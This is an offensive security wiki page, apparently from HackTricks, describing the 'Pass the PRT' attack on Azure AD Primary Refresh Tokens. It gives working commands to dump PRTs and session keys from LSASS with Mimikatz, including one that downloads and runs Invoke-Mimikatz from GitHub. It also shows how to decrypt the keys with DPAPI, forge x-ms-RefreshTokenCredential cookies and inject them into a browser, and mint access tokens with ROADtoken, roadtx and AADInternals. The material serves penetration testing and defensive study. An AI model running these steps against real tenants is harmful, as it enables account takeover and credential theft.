# Az - Pass the PRT

{{#include ../../../banners/hacktricks-training.md}}

## What is a PRT

{{#ref}}
az-primary-refresh-token-prt.md
{{#endref}}

### Check if you have a PRT

```
Dsregcmd.exe /status
```

In the SSO State section, you should see the **`AzureAdPrt`** set to **YES**.

<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>

In the same output you can also see if the **device is joined to Azure** (in the field `AzureAdJoined`):

<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>

## PRT Cookie

The PRT cookie is actually called **`x-ms-RefreshTokenCredential`** and it's a JSON Web Token (JWT). A JWT contains **3 parts**, the **header**, **payload** and **signature**, divided by a `.` and all url-safe base64 encoded. A typical PRT cookie contains the following header and body:

```json
{
  "alg": "HS256",
  "ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
  "refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
  "is_primary": "true",
  "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
```

The actual **Primary Refresh Token (PRT)** is encapsulated within the **`refresh_token`**, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field **`is_primary`** signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the `request_nonce` is transmitted from the `logon.microsoftonline.com` page.

### PRT Cookie flow using TPM

The **LSASS** process will send to the TPM the **KDF context**, and the TPM will used **session key** (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to **derivate** a **key,** and this **derived key** is used to **sign the PRT cookie (JWT).**

The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed with a **context** (random bytes).

Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**.

<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>

## PRT Abuse Scenarios

As a **regular user** it's possible to **request PRT usage** by asking LSASS for SSO data.\
This can be done like **native apps** which request tokens from **Web Account Manager** (token broker). WAM pasess the request to **LSASS**, which asks for tokens using signed PRT assertion. Or it can be down with **browser based (web) flow**s where a **PRT cookie** is used as **header** to authenticate requests to Azure AS login pages.

As **SYSTEM** you could **steal the PRT if not protected** by TPM or **interact with PRT keys in LSASS** using crypto APIs.

## Pass-the-PRT Attack Examples

### Attack - ROADtoken

For more info about this way [**check this post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken will run **`BrowserCore.exe`** from the right directory and use it to **obtain a PRT cookie**. This cookie can then be used with ROADtools to authenticate and **obtain a persistent refresh token**.

To generate a valid PRT cookie the first thing you need is a nonce.\
You can get this with:

```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
    "URI"     = $URL
    "Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```

Or using [**roadrecon**](https://github.com/dirkjanm/ROADtools):

```bash
roadrecon auth prt-init
```

Then you can use [**roadtoken**](https://github.com/dirkjanm/ROADtoken) to get a new PRT (run in the tool from a process of the user to attack):

```bash
.\ROADtoken.exe <nonce>
```

As oneliner:

```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```

Then you can use the **generated cookie** to **generate tokens** to **login** using Azure AD **Graph** or Microsoft Graph:

```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
```

### Attack - Using roadrecon

### Attack - Using AADInternals and a leaked PRT

`Get-AADIntUserPRTToken` **gets user’s PRT token** from the Azure AD joined or Hybrid joined computer. Uses `BrowserCore.exe` to get the PRT token.

```bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
```

Or if you have the values from Mimikatz you can also use AADInternals to generate a token:

```bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
```

Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.

```
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
```

Then go to [https://portal.azure.com](https://portal.azure.com)

> [!CAUTION]
> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.

### Attack - Mimikatz

#### Steps

1. The **PRT (Primary Refresh Token) is extracted from LSASS** (Local Security Authority Subsystem Service) and stored for subsequent use.
2. The **Session Key is extracted next**. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) and for an understanding of its application, refer to [Pass-the-cookie attack](az-pass-the-cookie.md).
3. Post decryption of the Session Key, the **derived key and context for the PRT are obtained**. These are crucial for the **creation of the PRT cookie**. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).

> [!CAUTION]
> Note that if the PRT is inside the TPM and not inside `lsass` **mimikatz won't be able to extract it**.\
> However, it will be possible to g**et a key from a derive key from a context** from the TPM and use it to **sign a cookie (check option 3).**

You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)

> [!WARNING]
> This won't exactly work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his.

You can use **mimikatz** to extract the PRT:

```bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
```

(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>

**Copy** the part labeled **Prt** and save it.\
Extract also the session key (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) which you can see highlighted below. This is encrypted and we will need to use our DPAPI masterkeys to decrypt it.

<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>

> [!NOTE]
> If you don’t see any PRT data it could be that you **don’t have any PRTs** because your device isn’t Azure AD joined or it could be you are **running an old version** of Windows 10.

To **decrypt** the session key you need to **elevate** your privileges to **SYSTEM** to run under the computer context to be able to use the **DPAPI masterkey to decrypt it**. You can use the following commands to do so:

```
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
```

<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>

#### Option 1 - Full Mimikatz

- Now you want to copy both the Context value:

<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>

- And the derived key value:

<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>

- Finally you can use all this info to **generate PRT cookies**:

```bash
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
```

<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>

- Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.

```
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
```

- Then go to [https://portal.azure.com](https://portal.azure.com)

> [!CAUTION]
> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.

#### Option 2 - roadrecon using PRT

- Renew the PRT first, which will save it in `roadtx.prt`:

```bash
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
```

- Now we can **request tokens** using the interactive browser with `roadtx browserprtauth`. If we use the `roadtx describe` command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim.

```bash
roadtx browserprtauth
roadtx describe < .roadtools_auth
```

<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>

#### Option 3 - roadrecon using derived keys

Having the context and the derived key dumped by mimikatz, it's possible to use roadrecon to generate a new signed cookie with:

```bash
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
```

## References

- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)

{{#include ../../../banners/hacktricks-training.md}}



